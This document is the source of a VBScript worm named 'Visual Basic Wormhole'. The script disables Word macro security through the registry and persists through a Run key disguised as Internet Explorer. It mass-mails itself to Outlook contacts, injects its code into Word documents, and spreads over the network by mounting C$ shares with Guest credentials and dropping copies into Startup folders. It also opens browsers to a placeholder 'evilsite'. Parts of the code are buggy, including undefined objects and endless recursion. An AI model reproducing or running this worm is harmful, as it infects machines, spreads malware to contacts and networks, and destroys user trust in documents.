Visual Basic Wormhole

Set WshShell=WScript.CreateObject("WScript.Shell")
Set objFSO = CreateObject("Scripting.FileSystemObject")
ScriptPath = WScript.ScriptFullName
On Error Resume Next
Function Install()
    objFSO.CopyFile ScriptPath, "C:\Users\Public\"
    X = objFSO.CopyFile(ScriptPath, Path & "\", True)
    Set dc = fs.Drives
    For Each d in dc
        If (d.DriveType = 1) Then
            s = d.DriveLetter
            X = fs.CopyFile(ScriptPath, s & ":\", True)
        Else
        End If
    Next
    WshShell.Run "taskkill /f /im winword.exe",0,False
    WshShell.RegWrite "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Office\11.0\Word\Security\VBAWarnings","00000000","REG_DWORD"
    WshShell.RegWrite "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Office\11.0\Word\Security\Level","00000000","REG_DWORD"
    Const cHKLM = &H80000002
    Const cComp = "."
    Set objReg = GetObject("winmgmts:{impersonationLevel=impersonate}!\\" & cComp & "\root\default:StdRegProv")
    strKeyPath = "SOFTWARE\Microsoft\Windows\CurrentVersion\Run"
    strValueName = "Internet Explorer"
    strValue = ScriptPath
    objReg.SetStringValue cHKLM, strKeyPath, strValueName, strValue
End Function
Function Outlook()
    Set objOutlook = CreateObject("Outlook.Application")
    Set objMail = objOutlook.CreateItem(0)
    Const olFolderContacts  = 10
    Set objOutlook = CreateObject("Outlook.Application")
    Set objNamespace = objOutlook.GetNamespace("MAPI")
    Set objFolder = objNamespace.GetDefaultFolder(olFolderContacts)
    Set objList = objFolder.Items()
    For i = 1 to objList.MemberCount
        Set objMember = objList.GetMember(i)
        objMail.Recipients.Add(objMember.Address)
    Next
    objMail.Subject = "Here's that file you asked for"
    objMail.Attachments.Add(ScriptPath)
    objMail.Send
    objOutlook.Quit
    Set objMail = Nothing
    Set objOutlook = Nothing
End Function
Function Word(objStartFolder)
    Set objFolder = objFSO.GetFolder(objStartFolder)
    Set colFiles = objFolder.Files
    For Each objFile in colFiles
        strFileName = objFile.Name
        If objFSO.GetExtensionName(strFileName) = "docx" Or objFSO.GetExtensionName(strFileName) = "doc" Then
            Set wdApp = CreateObject("Word.Application")
            Set wdDoc = wdApp.Documents.Open(objFSO.GetAbsolutePathName(objFile.Name))
            Set xlmodule = wdDoc.VBProject.VBComponents.Add(1)
            Set objTextFile = objFSO.OpenTextFile(ScriptPath, 1)
            strCode = objTextFile.ReadAll
            objTextFile.Close
            xlmodule.CodeModule.AddFromString strCode
            WshShell.Run "ATTRIB.exe +S +H "& Chr(34) & objFSO.GetAbsolutePathName(objFile.Name) & Chr(34),0,False
            wdDoc.SaveAs objFSO.GetAbsolutePathName(objFile.Name) & ".docm", 13
            wdDoc.Close
            wdApp.Quit
        End If
    Next
    Word objFSO.GetFolder(objStartFolder)
End Function
Function Run()
    WshShell.Run "ATTRIB.exe +S +H " & Chr(34) & ScriptPath & Chr(34),0,False
    WshShell.Run "chrome.exe evilsite",0,False
    WshShell.Run "firefox.exe evilsite",0,False
End Function
Function GetIP()
    dim NIC1, Nic, StrIP, CompName
    Set NIC1 = GetObject("winmgmts:").InstancesOf("Win32_NetworkAdapterConfiguration")
    For Each Nic in NIC1
        If Nic.IPEnabled Then
            StrIP = Nic.IPAddress(i)
        End If
    Next
    GetIP = StrIP
End Function
Function Network()
	On Error Resume Next
	IPRange = Split(GetIP(), ".")
	IPRange(3) = ""
	IPRange = Join(IPRange, ".")
	Do
		i = i + 1
		pingSuccessful = wshShell.run("ping -n 1 -w 1000 " & IPRange & i,0,True)

		If pingSuccessful = 0 Then
			WshShell.Run "NET USE Z: \\" & IPRange & i & "\C$ /user:Guest Guest /Y",0,True
			Dim fs, f, f1, fc, s
			Set fs = CreateObject("Scripting.FileSystemObject")
			Set f = fs.GetFolder("Z:\Users")
			Set fc = f.SubFolders
			For Each f1 in fc
				objFSO.CopyFile ScriptPath, "Z:\Users\" & f1.name & "\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\"
			Next
			WshShell.Run "MOUNTVOL Z: /d",0,True
		End If
	Loop While i < 256
End Function
Function GetRndIP()
    Dim max,min
    max=255
    min=1
    Randomize
    GetRndIP = Int((max-min+1)*Rnd+min) & "." & Int((max-min+1)*Rnd+min) & "." & Int((max-min+1)*Rnd+min) & "." & Int((max-min+1)*Rnd+min)
End Function
Function NetworkRemote()
	On Error Resume Next
	IPRange = Split(GetRndIP(), ".")
	IPRange(3) = ""
	IPRange = Join(IPRange, ".")
	Do
		i = i + 1
		pingSuccessful = wshShell.run("ping -n 1 -w 1000 " & IPRange & i,0,True)

		If pingSuccessful = 0 Then
			WshShell.Run "NET USE Z: \\" & IPRange & i & "\C$ /user:Guest Guest /Y",0,True
			Dim fs, f, f1, fc, s
			Set fs = CreateObject("Scripting.FileSystemObject")
			Set f = fs.GetFolder("Z:\Users")
			Set fc = f.SubFolders
			For Each f1 in fc
				objFSO.CopyFile ScriptPath, "Z:\Users\" & f1.name & "\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\"
			Next
			WshShell.Run "MOUNTVOL Z: /d",0,True
		End If
	Loop While i < 256
End Function
Function Finish()
    Network
    NetworkRemote
    Word WshShell.ExpandEnvironmentStrings("%USERPROFILE%") & "\Desktop"
    Word WshShell.ExpandEnvironmentStrings("%USERPROFILE%") & "\Documents"
    Word WshShell.ExpandEnvironmentStrings("%USERPROFILE%") & "\Music"
    Word WshShell.ExpandEnvironmentStrings("%USERPROFILE%") & "\Pictures"
    Word WshShell.ExpandEnvironmentStrings("%USERPROFILE%") & "\Videos"
    Word WshShell.ExpandEnvironmentStrings("%USERPROFILE%") & "\Downloads"
    Outlook
    Install
    Run
End Function
Finish